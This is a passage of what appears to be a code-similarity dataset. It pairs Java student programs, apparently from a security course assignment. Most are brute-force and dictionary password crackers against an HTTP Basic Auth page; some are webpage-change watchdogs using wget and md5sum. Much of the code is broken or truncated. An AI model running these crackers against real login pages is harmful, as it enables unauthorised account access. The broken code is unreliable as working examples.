);\n HttpURLConnection sec;\n String[] cad = {\"a\",\"b\",\"c\",\"d\"\
,\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\n \
\ \"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\
z\",\n \"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"\
I\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"O\",\"P\",\"Q\",\"\
R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n for (int i=0; i\
\ < cad.length; i++)\n {\n for (int j=0; j< cad.length;j++)\n \
\ {\n for (int k=0; k<cad.length;k++)\n {\n \
\ attempt++;\n String Passwd = new String(cad[i]+cad[j]+cad[k]);\n\
\ String userPasswd= \":\"+Passwd;\n System.out.println(attempt+\"\
\ \"+userPasswd);\n \n sec = (HttpURLConnection)url.openConnection();\n\
\ sec.setRequestProperty(\"Authorization\", \" \" + encode(userPasswd));\n\
\n if (sec.getHeaderField(0).equals(\"HTTP/1.1 200 OK\"))\n \
\ {\n Password=Passwd;\n return Password;\n\
\ }\n sec.disconnect();\n } \n \
\ } \n } \n return \"Password not found\";\n }\n\n private static\
\ String encode(String userPasswd) throws Exception\n {\n String ad;\n\
\ String encodedUserPasswd=\" \";\n String addr= \"~//base64_encode.php\
\ \"+userPasswd ;\n Process p = Runtime.getRuntime().exec(new String[]{\"\
/usr/local//bash\",\"-c\", addr});\n BufferedReader resp = new BufferedReader(new\
\ InputStreamReader(p.getInputStream()));\n \n while ( (cad = resp.readLine())\
\ != null )\n {\n \n encodedUserPasswd=cad;\n }\n \
\ return encodedUserPasswd;\n }\n}\n\n"
- source_sentence: "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\
\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime\
\ t = Runtime.getRuntime();\n\t \tProcess pr= null;\n\t \tString Fmd5,Smd5,temp1;\n\
\t \tint index;\n \n\t \ttry\n \t{\n\t\t \n\t\t pr =\
\ t.exec(\"md5sum csfirst.html\");\n\n InputStreamReader stre\
\ = new InputStreamReader(pr.getInputStream());\n BufferedReader\
\ bread = new BufferedReader(stre);\n\t\t \n\t\t s = bread.readLine();\n\
\t\t index = s.indexOf(' ');\n\t\t Fmd5 = s.substring(0,index);\n\t\t \
\ System.out.println(Fmd5);\n\t\t \n\t\t pr = null;\n\t\t \n\t\t \
\ pr = t.exec(\"wget http://www.cs.rmit.edu./students/\");\n\t\t pr = null;\n\
\t\t \n\t\t pr = t.exec(\"md5sum index.html\");\n\t\t \n\n\t\t InputStreamReader\
\ stre1 = new InputStreamReader(pr.getInputStream());\n BufferedReader\
\ bread1 = new BufferedReader(stre1);\n\t\t \n\t\t temp1 = bread1.readLine();\n\
\t\t index = temp1.indexOf(' ');\n\t\t Smd5 = temp1.substring(0,index);\n\
\t\t System.out.println(Smd5);\n\t\t\n\t\t pr = null;\n\t\t\n\t\t if(Fmd5\
\ == Smd5)\n\t\t System.out.println(\" changes Detected\");\n\t\t else\n\
\t\t {\n\t\t pr = t.exec(\"diff csfirst.html index.html > report.html\"\
);\n\t\t pr = null;\n\t\t \n\t\t try{\n\t\t Thread.sleep(10000);\n\
\t\t }catch(Exception e){}\n\t\t \n\t\t pr = t.exec(\" Message.txt\
\ | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.\");\n\t\t\
\ \n\t\t \n\t\t \n\t\t } \n\t\t \n \t }catch(java.io.IOException\
\ e){}\n\t}\n}\t\t\n"
sentences:
- "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic\
\ class MyWatchDogTimer extends TimerTask\n{\n\tpublic void run()\n\t{\n\t Runtime\
\ rt = Runtime.getRuntime();\n\t Process prss= null;\n\t String initialmd5,presentmd5,finalmd5,temp1;\n\
\ String mesg1 = new String();\n String subject = new String(\"\
Report of WatchDog\");\n\n\t int i;\n \n\t try\n {\n\n \
\ prss = rt.exec(\"md5sum first.html\");\n\n InputStreamReader\
\ instre1 = new InputStreamReader(prss.getInputStream());\n BufferedReader\
\ bufread1 = new BufferedReader(instre1);\n\t\t \n sw = bufread1.readLine();\n\
\t i = finalmd5.indexOf(' ');\n\t initialmd5 = finalmd5.substring(0,i);\n\
\t System.out.println(\"this is of first.html--->\"+initialmd5);\n\t\t \
\ \n\n\t\t \n prss = rt.exec(\"wget -R mpg,mpeg, --output-document=present.html\
\ http://www.cs.rmit.edu./students/\");\n\n\t\t \n prss = rt.exec(\"\
md5sum present.html\");\n\t\t \n InputStreamReader instre2 = new\
\ InputStreamReader(prss.getInputStream());\n BufferedReader bufread2\
\ = new BufferedReader(instre2);\n\t\t \n\t temp1 = bufread2.readLine();\n\
\t i = temp1.indexOf(' ');\n\t presentmd5 = temp1.substring(0,i);\n\t\
\ System.out.println(\"this is of present.html---->\"+presentmd5);\n\t\t\n\
\ \n if(initialmd5.equals(presentmd5))\n \
\ System.out.println(\"The checksum found using md5sum is same\");\n\t\t else\n\
\t\t {\n\t\t prss = rt.exec(\"diff first.html present.html > diff.html\"\
);\n System.out.println(\" is different\"); \n \
\ prss = null;\n mesg1 =\"php mail.php\";\n\t\t \
\ prss = rt.exec(mesg1);\n\t\t } \n\n prss = rt.exec(\"\
rm present.*\");\n\n \t }catch(java.io.IOException e){}\n\n }\n\
}\t\t\n"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary\
\ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\
\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n\
\ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \
\ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n\
\ exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\
\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null)\
\ {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n\
\ \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is:\
\ \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\
\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n\
\ \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"\
File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\
\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n \
\ BufferedReader in = new BufferedReader(\n new InputStreamReader\n\
\ (connectURL(new URL(args[0]), args[1], args[2])));\n String\
\ line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n\
\ status = true;\n }\n }\n catch (IOException e)\
\ {\n \n }\n }\n\n public InputStream connectURL (URL url, String\
\ uname, String pword)\n throws IOException {\n conn = url.openConnection();\n\
\ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\
\ conn.connect ();\n return conn.getInputStream();\n }\n\n public\
\ String userNamePasswordBase64(String username, String password) {\n return\
\ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\
\ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\
\ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\
\ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\
\ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\
\ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\
\ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\
\ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \
\ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\
\ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\
\ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\
\ {\n b3 = 0;\n pad = 1;\n }\n else\n\
\ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\
\ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\
\ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\
\ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\
\ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \
\ encodedString += base64Array [c4];\n break;\n case 1:\n\
\ encodedString += base64Array [c3];\n encodedString += \"=\"\
;\n break;\n case 2:\n encodedString += \"==\";\n \
\ break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\n\nimport java.net.*; \nimport java.io.*; \nimport java.util.Date; \npublic\
\ class Dictionary{\nprivate static String password=\" \"; \n\n \n public\
\ static void main(String[] args) {\n String Result=\"\"; \n\t if (args.length<1)\n\
\t {\n System.out.println(\"Correct Format Filename username e.g<>\");\
\ \n System.exit(1);\t\n\t }\n\t \n\t Dictionary dicton1 = new Dictionary();\n\
\ Result=dicton1.Dict(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\
\ \n\t System.out.println(\"Cracked Password for The User \"+args[0]+\" The Password\
\ is..\"+Result); \n \n\n \n \n }\n\n\n\n private String Dict(String urlString,String\
\ username) \n { \n int cnt=0;\n FileInputStream stream=null;\n DataInputStream\
\ word=null;\n\n\ttry{ \n\t stream = new FileInputStream (\"/usr/share/lib/dict/words\"\
); \n\n\tword =new DataInputStream(stream);\n\t t0 = System.currentTimeMillis();\
\ \n\t\t while (word.available() !=0) \n\t\t\t{\n\t\t\t\t\t\t\t\t\t\n\t\t\t\
password=word.readLine();\n\t\t\t\t if (password.length()!=3)\n\t\t\t\t {\n\t\t\
\t\t\tcontinue;\n\t\t\t\t }\n\t\t\t\t System.out.print(\"crackin...:\"); \n\t\t\
\t System.out.print(\"\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t URL\
\ url = new URL (urlString);\n\t\t\t\tString userPassword=username+\":\"+password;\
\ \n\t\t\t\t \n\t\t\t\t String encoding = new url.misc.BASE64Encoder().encode\
\ (userPassword.getBytes());\n\t\t\t\t\t URLConnection conc = url.openConnection();\n\
\t\t\t\t\t\t conc.setRequestProperty (\"Authorization\", \" \" + encoding);\t\
\t\t \n\t\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\t cnt++;\n\t\t\t\t\t \
\ if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200 OK\"))\n\t\
\t\t\t\t\t {\n\t\t\t\t\t\t\tSystem.out.println(\"The Number Of Attempts : \"+cnt);\
\ \n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\t\t\t\t\t\t net=t1-t0;\n\
\t\t\t\t\t\t\tSystem.out.println(\"Total Time in secs...\"+net/1000); \n\t\t\t\
\t\t\t\treturn password; \n\t\t\t\t\t\t}\n \t\t \t\t\n\t }\n\n\t\t\t\t\
}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\t e.printStackTrace();\
\ \n\n\t\t\t\t}\n\n \ntry\n{\nword.close();\nstream.close(); \n\t\n}\n \n\
catch (IOException e)\n{ \nSystem.out.println(\"Error in closing input file:\\\
n\" + e.toString()); \n} \n\nreturn \"Password could not found\"; \n } \n \n\
\n}"
- source_sentence: "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\
\ extends Authenticator {\n\n \n private String username;\n \n private\
\ char [] thisPassword;\n \n private URL url;\n \n private BufferedReader\
\ bf;\n\n \n public static void main(String [] args) {\n if(args.length!=3)\
\ {\n System.err.println(\n \"usage: Dictionary\
\ <url> <username> <dictionary-file>\");\n System.exit(1);\n \
\ }\n Dictionary d = null;\n try {\n d = new Dictionary(args[0],\
\ args[1], args[2]);\n } catch (MalformedURLException me) {\n \
\ me.printStackTrace();\n System.exit(1);\n } catch (FileNotFoundException\
\ fe) {\n fe.printStackTrace();\n System.exit(1);\n \
\ }\n d.work();\n }\n\n \n public Dictionary(String url, String\
\ username, String passwordFilename) \n throws MalformedURLException,\
\ FileNotFoundException {\n this.url = new URL(url);\n this.username\
\ = username;\n thisPassword = new char [] {'a'};\n File f = new\
\ File(passwordFilename);\n FileReader fr = new FileReader(f);\n \
\ bf = new BufferedReader(fr);\n }\n\n \n public void work() {\n \
\ Authenticator.setDefault(this);\n HttpURLConnection uc = null;\n\
\ try { \n uc\
\ = (HttpURLConnection) url.openConnection(); \n uc.connect(); \
\ \n while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED\
\ &&\n thisPassword !=null) {\n try { \
\ \n InputStream is = uc.getInputStream();\
\ \n uc.connect(); \n \
\ } catch (ProtocolException pe) { \n \
\ uc = (HttpURLConnection) url.openConnection(); \n \
\ } catch (NullPointerException npe) { \n npe.printStackTrace();\
\ \n System.exit(1); \
\ \n } \n \
\ } \n } catch\
\ (java.io.IOException e ) { \n e.printStackTrace();\
\ \n System.exit(1); \
\ \n } \
\ \n System.out.println(\"password=\" + new String(thisPassword));\n\
\ }\n\n \n public PasswordAuthentication getPasswordAuthentication()\
\ {\n String s=null;\n try {\n for(s = bf.readLine();\
\ s!=null; s = bf.readLine()) {\n if(s.length()==3) {\n \
\ break;\n }\n } \n } catch (IOException\
\ e) {\n e.printStackTrace();\n System.exit(1);\n \
\ }\n if(s.length()!=3) {\n thisPassword = null;\n }\
\ else {\n thisPassword = s.toCharArray();\n }\n return\
\ new PasswordAuthentication(username, thisPassword);\n }\n}\n"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private\
\ String strUserName;\n private String strURL;\n private String strDictPath;\n\
\ private int iAttempts;\n\n \n public Dictionary(String strURL,String\
\ strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName\
\ = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n\
\ }\n \n\n public String getPassword(){\n URL u;\n String result\
\ =\"\";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection\
\ uc;\n String strPassword = new String();\n String strEncode;\n \
\ try{\n while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n\
\ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n\
\ uc = u.openConnection();\n uc.setDoInput(true);\n \
\ uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode\
\ = strUserName + \":\" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\
\ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \
\ \n result = uc.getHeaderField(0);\n uc = null;\n \
\ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\
\ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\
\ return(strPassword);\n }\n \n public int getAttempts(){\n return\
\ (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart\
\ = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF\
\ = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println(\"Processing\
\ ... \");\n timeStart = System.currentTimeMillis();\n System.out.println(\"\
Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\
\ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\
);\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n }\n\
\ else {\n System.out.println(\"[Usage] java BruteForce <URL> <USERNAME>\
\ <Dictionary path>\");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private\
\ char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader\
\ inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n\
\ inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n \
\ catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public\
\ String getNewPassword()\n throws PasswordFailureException{\n try {\n \
\ {\n line = inputFile.readLine();\n }while (line.length() !=\
\ iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException\
\ ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends\
\ RuntimeException {\n\n public PasswordFailureException() {\n }\n}"
- "import java.net.*;\nimport java.io.*;\n\n\npublic class BruteForce extends Authenticator\
\ {\n\n \n private String username;\n \n private URL url;\n \n\
\ private char [] nextPassword;\n \n private char [] thisPassword;\n\n\
\ \n public static void main(String [] args) {\n if(args.length!=2)\
\ {\n System.err.println(\"usage: BruteForce <url> <username>\");\n\
\ System.exit(1);\n }\n BruteForce bf = null;\n \
\ try {\n bf = new BruteForce(args[0], args[1]);\n } catch\
\ (MalformedURLException me) {\n me.printStackTrace();\n \
\ System.exit(1);\n }\n bf.work();\n System.exit(0);\n \
\ }\n\n \n public BruteForce(String url, String username) \n \
\ throws MalformedURLException {\n this.url = new URL(url);\n \
\ this.username = username;\n this.nextPassword = new char [] {'a'};\n\
\ }\n\n \n public void work() {\n Authenticator.setDefault(this);\n\
\ HttpURLConnection uc = null;\n try {\n uc = (HttpURLConnection)\
\ url.openConnection();\n uc.connect();\n\t while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED\n\
\ && nextPassword!=null) {\n try {\n \
\ InputStream is = uc.getInputStream();\n uc.connect();\n\
\ } catch (ProtocolException pe) {\n uc = (HttpURLConnection)\
\ url.openConnection();\n } catch (NullPointerException npe) {\n\
\ npe.printStackTrace();\n System.exit(1);\n\
\ } \n }\n } catch (java.io.IOException e) {\n\
\ e.printStackTrace();\n System.exit(1);\n }\n \
\ System.out.println(\"password=\" + new String(thisPassword));\n }\n\n\
\ \n public PasswordAuthentication getPasswordAuthentication() {\n \
\ createNextPassword();\n return new PasswordAuthentication(username,\
\ thisPassword);\n }\n\n \n public void createNextPassword() {\n \
\ int i;\n if(thisPassword==null) {\n thisPassword = new\
\ char [] {'A', 'A', 'A'};\n nextPassword = new char [] {'A', 'A',\
\ 'B'};\n return;\n }\n thisPassword = nextPassword;\n\
\ if(nextPassword[2]=='Z') {\n nextPassword[2]='a';\n \
\ return;\n } else if(nextPassword[2]!='z') {\n i = (int)\
\ nextPassword[2];\n nextPassword[2]=(char) ++i;\n } else {\n\
\ nextPassword[2]='A';\n if(nextPassword[1]=='Z') {\n \
\ nextPassword[1]='a';\n } else if(nextPassword[1]!='z')\
\ {\n i = (int) nextPassword[1];\n nextPassword[1]=(char)\
\ ++i;\n } else {\n nextPassword[1]='A';\n \
\ if(nextPassword[0]=='Z') {\n nextPassword[0]='a';\n\
\ } else if(nextPassword[0]!='z') {\n i = (int)\
\ nextPassword[0];\n nextPassword[0]=(char) ++i;\n \
\ } else {\n nextPassword = null;\n }\n\
\ }\n }\n }\n}\n"
- "\n\nimport java.net.*;\nimport java.io.*;\n\t\n\nclass MyAuthenticator extends\
\ Authenticator {\n\n String password;\n\n public MyAuthenticator(String pwdin)\
\ {\n password = pwdin;\n }\n \n protected PasswordAuthentication\
\ getPasswordAuthentication(){\n\tString pwd = password;\n\treturn new PasswordAuthentication(\"\
\",pwd.toCharArray());\n }\n}\n"
- source_sentence: "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce\
\ {\n\n public static void main(String[] args) {\n new CrackAttempt();\n\
\ }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int\
\ MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n \
\ boolean morePasswords = true;\n int passPtr = 0;\n StringBuffer\
\ validChars = new StringBuffer(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\
);\n char[] password = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n\
\ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\
\ URL url = new URL(resource);\n HttpURLConnection conn\
\ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\
HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
\ {\n System.out.println(\"cracked with \" + new String(password));\n\
\ auth = true;\n }\n } catch (Exception e) {\n\
\ System.out.println(\" was exception: \" + e.getMessage());\n \
\ }\n int count = passPtr;\n while (true) {\n \
\ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \
\ password[count] = validChars.charAt(0);\n count--;\n\
\ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\
\ + 1);\n break;\n }\n if (count < 0) {\n\
\ \n if (passPtr < MAX_LENGTH - 1) {\n \
\ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\
\ } else {\n morePasswords = false;\n \
\ }\n break;\n }\n }\n \n }\
\ \n if (!auth) {\n System.out.println(\"Unable determine password\"\
);\n } else {\n time = (new Date()).getTime() - start.getTime();\n\
\ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\
\ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\
\ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\
\ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\
\ {\n String user = \"\";\n return new PasswordAuthentication(user,\
\ password);\n }\n}\n"
sentences:
- "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\
\n\npublic class BruteForce\n{\n\n\tprivate String result =\"\";\n\n\tpublic\
\ class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String\
\ passwd)\n {\n this.pass = passwd;\n }\n\n\t \
\ protected PasswordAuthentication getPasswordAuthentication()\n \
\ {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n\
\ }\n public String pass;\n }\n\n public BruteForce()\
\ {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n\
\ System.out.println(d.toString());\n\t\tchar words[] = { 'a','b','c','d','e',\
\ 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',\n\t\t\t\t\t\t\t 'q','r','s','t','u','v','w','x','y','z',\
\ 'A','B','C','D','E', 'F', 'G',\n\t\t\t\t\t\t\t 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\
\n\t\tString record = null;\n\n\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n\n\t\tchar pass[] = {'x','x','x'};\n\t\tint count=1;\n\t\tString passwd=new\
\ String();\n HttpURLConnection connection = null;\n URL u = null;\n\
\n try\n {\n u = new URL(url);\n\n }\n catch\
\ (MalformedURLException e)\n {\n }\n\n for(int a=0;a<words.length;a++)\n\
\ {\n for(int b=0;b<words.length;b++)\n {\n\
\ for(int c=0;c<words.length;c++)\n \
\ {\n pass[0]=words[a];\n \
\ pass[1]=words[b];\n pass[2]=words[c];\n\
\ passwd=passwd.copyValueOf(pass,0,3);\n \
\ System.out.println(count+ \" ) \" + passwd);\n \
\ count++;\n try\n\
\ {\n\n \
\ connection = (HttpURLConnection) u.openConnection();\n \
\ Authenticator.setDefault(new customAuthenticator(passwd));\n\
\n if (connection.getResponseCode()!=401)\n\
\ {\n \
\ System.out.print(\"The password is : \"+passwd);\n \
\ System.out.println();\n \
\ java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n\
\ System.out.println(d1.toString());\n\
\ System.out.println(\"\\ntime taken\
\ in seconds:\"+ (d1.getTime() - d.getTime())/1000+\"\\n\");\n\n \
\ System.exit(0);\n \
\ }\n else\n \
\ {\n }\n \
\ connection.disconnect();\n \
\ }\n catch (IOException e)\n \
\ {\n System.out.println(e);\n\
\ }\n }\n \
\ }\n }\n }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\
\t\tBruteForce = new BruteForce();\n\t}\n}"
- "\n\n\nimport org.apache.commons.httpclient.HttpClient;\nimport org.apache.commons.httpclient.UsernamePasswordCredentials;\n\
import org.apache.commons.httpclient.cookie.CookiePolicy;\nimport org.apache.commons.httpclient.methods.GetMethod;\n\
\n\n\n\npublic class BruteForce{\n\n static final String LOGON_SITE_HACKER\
\ = BruteForcePropertyHelper.getProperty(\"logonSite\");\n static final int\
\ LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
logonPort\")).intValue();\n\n static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
useProxyServer\")).intValue();\n static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
proxyPort\")).intValue();\n\n static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty(\"\
proxyServer\");\n static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty(\"\
proxyUserName\");\n static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty(\"\
proxypassword\");\n\n static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(\"\
getMethod\");\n static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"\
numberOfGetsBeforeReleaseConnection\")).intValue();\n\n static final String[]\
\ cValidChars\t = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\"\
,\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\"\
,\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\"\
,\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\"\
,\"X\",\"Y\",\"Z\"};\n\n public BruteForce() {\n super();\n }\n\n\
\n\n\n public static void main (String[] args) throws Exception {\n\n\t\tString\t\
statusLine = \" \";\n\t\tint\t\tcount = 0;\n\t\tint\t\tfirstLetterIndex = 0;\n\
\t\tint\t\tsecondLetterIndex = 0;\n\t\tint\t\tthirdLetterIndex = 0;\n\t\tint\t\
\tdivValue = 0;\n\n\n\n\n\t\tString userName = \"\";\n\t\tString password = \"\
\";\n\n\n HttpClient client = new HttpClient();\n\n\t\t\n\n if (USE_PROXY_SERVER\
\ == 1) {\n \t\t\tclient.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);\n\
\ \t\t\tclient.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME,\
\ PROXY_PASSWORD));\n\n }\n\n client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);\n\
\ client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER,\
\ \"http\");\n GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);\n\
\n\n\t\t\n\n\t\tcount = 0;\n\n\t\tfor (int f = 0; f < 52; f++) {\n\n\t\t\tfirstLetterIndex\
\ = f;\n\n\t\t\tpassword = cValidChars[firstLetterIndex];\n\t\t\tSystem.out.println(\"\
Count: \"+ count + \" First Index: \"+ firstLetterIndex+ \" password: \"+ password);\n\
\n\t client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName,\
\ password));\n\t client.executeMethod(getMethod);\n\t statusLine\
\ = getMethod.getStatusLine().toString();\n\n\n\t\t\tif (statusLine.compareTo(\"\
HTTP/1.1 200 OK\") == 0) {\n\t\t\t\tSystem.out.println(\"Found the user name and\
\ password for the site. The username is: \"+ userName+ \" and the password is:\
\ \"+ password);\n\t\t\t\tSystem.exit(0);\n\t\t\t}\n\t }\n\n\n\t\t\n\t\tcount\
\ = 0;\n\n\t\tfor (int g = 0; g < 52; g++) {\n\n\t\t\tfirstLetterIndex = g;\n\n\
\t\t\tfor (int h = 0; h < 52; h++) {\n\n\t\t\tsecondLetterIndex = h;\n\n\t\t\t\
password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex];\n\n\t\
\t\t\tSystem.out.println(\"Count: \"+ count+ \" First Index: \"+ firstLetterIndex+\
\ \" Second Index: \"+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+\
\ cValidChars[thirdLetterIndex]+ \" password: \"+ password);\n\n\t\t client.getState().setCredentials(null,\
\ null, new UsernamePasswordCredentials(userName, password));\n\n\t\t\t\t++count;\n\
\n\t\t\t\tdivValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;\n\n\n\t\t\t\tif (divValue\
\ == 0) {\n\n\t\t\t\t\tSystem.out.println(\"Count: \"+ count+ \" Div Value: \"\
+ divValue + \" Releasing the connection and getting new one\");\n\t\t\t\t\tgetMethod.releaseConnection();\n\
\t\t\t\t\tgetMethod = null;\n\t\t\t\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\
\n\t\t\t\t}\n\n\t\t client.executeMethod(getMethod);\n\n\t\t statusLine\
\ = getMethod.getStatusLine().toString();\n\t\t\t\tSystem.out.println(\"Found\
\ the user name and password for the site. The username is: \"+ userName+ \" and\
\ the password is: \"+ password);\n\n\t\t\t\tif (statusLine.compareTo(\"HTTP/1.1\
\ 200 OK\") == 0) {\n\t\t\t\t\tSystem.out.println(\"Found the user name and password\
\ for the site. The username is: \"+ userName+ \" and the password is: \"+ password);\n\
\n\t\t\t\t\tSystem.exit(0);\n\t\t\t\t}\n\t\t }\n\n\t\t}\n\n\t\t\n\t\t\n\n\t\
\tgetMethod.releaseConnection();\n\t\tgetMethod = null;\n\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\
